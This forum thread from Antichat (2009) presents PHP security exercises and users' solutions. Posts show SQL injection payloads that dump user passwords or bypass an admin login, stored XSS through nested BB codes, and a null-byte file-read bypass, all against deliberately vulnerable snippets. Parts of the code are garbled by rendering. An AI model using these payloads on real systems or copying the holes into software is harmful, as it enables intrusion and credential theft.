Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   [PHP] ЗАДАНИЯ от Krist_ALL (https://forum.antichat.xyz/showthread.php?t=126194)

Extremal 22.06.2009 02:16

Цитата:

Задание 010
Провести sql injection
PHP код:

<?php
$name 
str_replace('/**/','','str_replace(' ','',$_GET['name']));
$query = mysql_query("select * from users where name='
$name"); ?>


Код:

http://site.com/index.php?name=union%09select%091,2,CONCAT_WS(':',name,passwd),4,5,6%09from%09users/*

SleepShadowWeb 22.06.2009 03:27

в 6 'password'=0
в 9 точек добавить штук 250
в 11
PHP код:

function zamena($s
{
    return 
"0x".strtoupper(dechex($s[1]));
}


$str='  
383 текст с числами 5838  
635 еще текст 001 462  
432текст564  
'


$str preg_replace_callback("/(\d{4})/U""zamena"$str);
$str preg_replace_callback("/(\d{3})/U""zamena"$str);
echo 
$str


BlackSun 22.06.2009 10:09

Цитата:

Сообщение от Doom123
BlackSun второе

[HREF=([HREF=(style=background:url() onerror=alert(/lo/) )HREF])HREF]

в опере пахает в остольных не проверял =)

зы хсс в стилях чесно скомуниздено у LeverOne ... т.к забыл как вызывать алерт через стили =)

Задумывалось немного по другому :)

Цитата:

Активную XSS можно провести, используя вложенные BB коды.
В функции parse_bb вначале все выглядит довольно спокойно:
PHP код:

$text str_replace('"'''$text);
$text str_replace("'"''$text);
$text htmlspecialchars($text); 

Но далее идет регулярное выражение, которое преобразует, фильтрованный функций htmlspecialchars, текст, находящийся меж двойных скобок ("). Используя ББ код [HREF=()HREF][/HREF] можно передать регулярному выражению текст, с "не правильно" расставленными кавычками, благодаря чему текст, находящийся после второго ББ кода (который "закрыл" первый) будет декодирован aka преобразован в html код и записан в БД. Вуаля - активная XSS.

Ядовитый код:
Код:

[HREF=([HREF=(asd)HREF]<script>alert(2)</script>)HREF]
который будет преобразован в
Код:

<a href="<a href="asd"><script>alert(2)</script>">


Krist_ALL 22.06.2009 11:27

SleepShadowWeb, 9 задание не правильно сделал, остальные правильно! Молодец.

Добавил еще 3 задания.

d_x 22.06.2009 12:09

SleepShadowWeb, правильно 011 сделал, хотя можно было немного попроще:
PHP код:

$str='
383 текст с числами 5838
635 еще текст 001 462
432текст564
'
;

$str=preg_replace_callback("/(\d+)/s","replace_hex",$str);

function 
replace_hex($m)
{
  return 
'0x'.strtoupper(dechex($m[1]));
}

print 
$str


Extremal 22.06.2009 12:32

Задание 013
Войти в панель администрирования, используя sql injection . В БД не лезть. Обмануть проверку просто.
PHP код:
PHP код:

<?php // Login.php
....
$query "select * from admin where pass = '$_POST['pass']' and login = '$_POST['login']'";
?>

Код:

login = 'or'1=1'
pass = 'or'1=1'


FireFenix 22.06.2009 12:47

Задание 015
Какое число будет записано в переменую id при регистр глобал ON, и объяснить ПОЧЕМУ.
PHP код:

POST => $id = 1
COOKIE => $id = 2
GET => $id = 3
PHP код:
<?ph 
$id 
$_REСQUEST['id']; 
?>

Правильно не $_REСQUEST а $_REQUEST
При global On и опции GPC будет записанно 2
Потому что "C" (Cookie) в опции GPC стоит последней => будет записанна последней

Extremal 22.06.2009 13:06

Задание 009
В директории 2 файла: index.php , news.inc , config.php. Надо обойти защиту от расширения и прочитать файл config.php
PHP код:

<?php

$f 
= (string)@$_GET['f'];  
$f str_replace('/'''$f);  
$f .= .inc;  

if (
file_exists($f)) { 
   echo 
htmlspecialchars(file_get_contents($f));                                    }  
 
else  exit;
?>

magic_quotes_gpc = OFF
Код:

http://site.com/file.php?f=config.php%00

Doom123 22.06.2009 13:21

BlackSun

Цитата:

Задумывалось немного по другому
можно и так ... =)

[/IMG]<script>alert(/lol/)</script>[/IMG]

если воспользоватся возможностями html_entity_decode =)

159932 22.06.2009 13:22

Цитата:

Сообщение от d_x
SleepShadowWeb, правильно 011 сделал, хотя можно было немного попроще:
PHP код:

$str='
383 текст с числами 5838
635 еще текст 001 462
432текст564
'
;

$str=preg_replace_callback("/(\d+)/s","replace_hex",$str);

function 
replace_hex($m)
{
  return 
'0x'.strtoupper(dechex($m[1]));
}

print 
$str


в регулярке модификатор s зачем? помоему и без него реплейсу живёться не дурно..
strtoupper тут зачем ? поднимаем хекс товарищи!
в колбеках с небольшой ф-ией удобно будет заюзать create_function(); вместо создания отдельной ..


Время: 21:25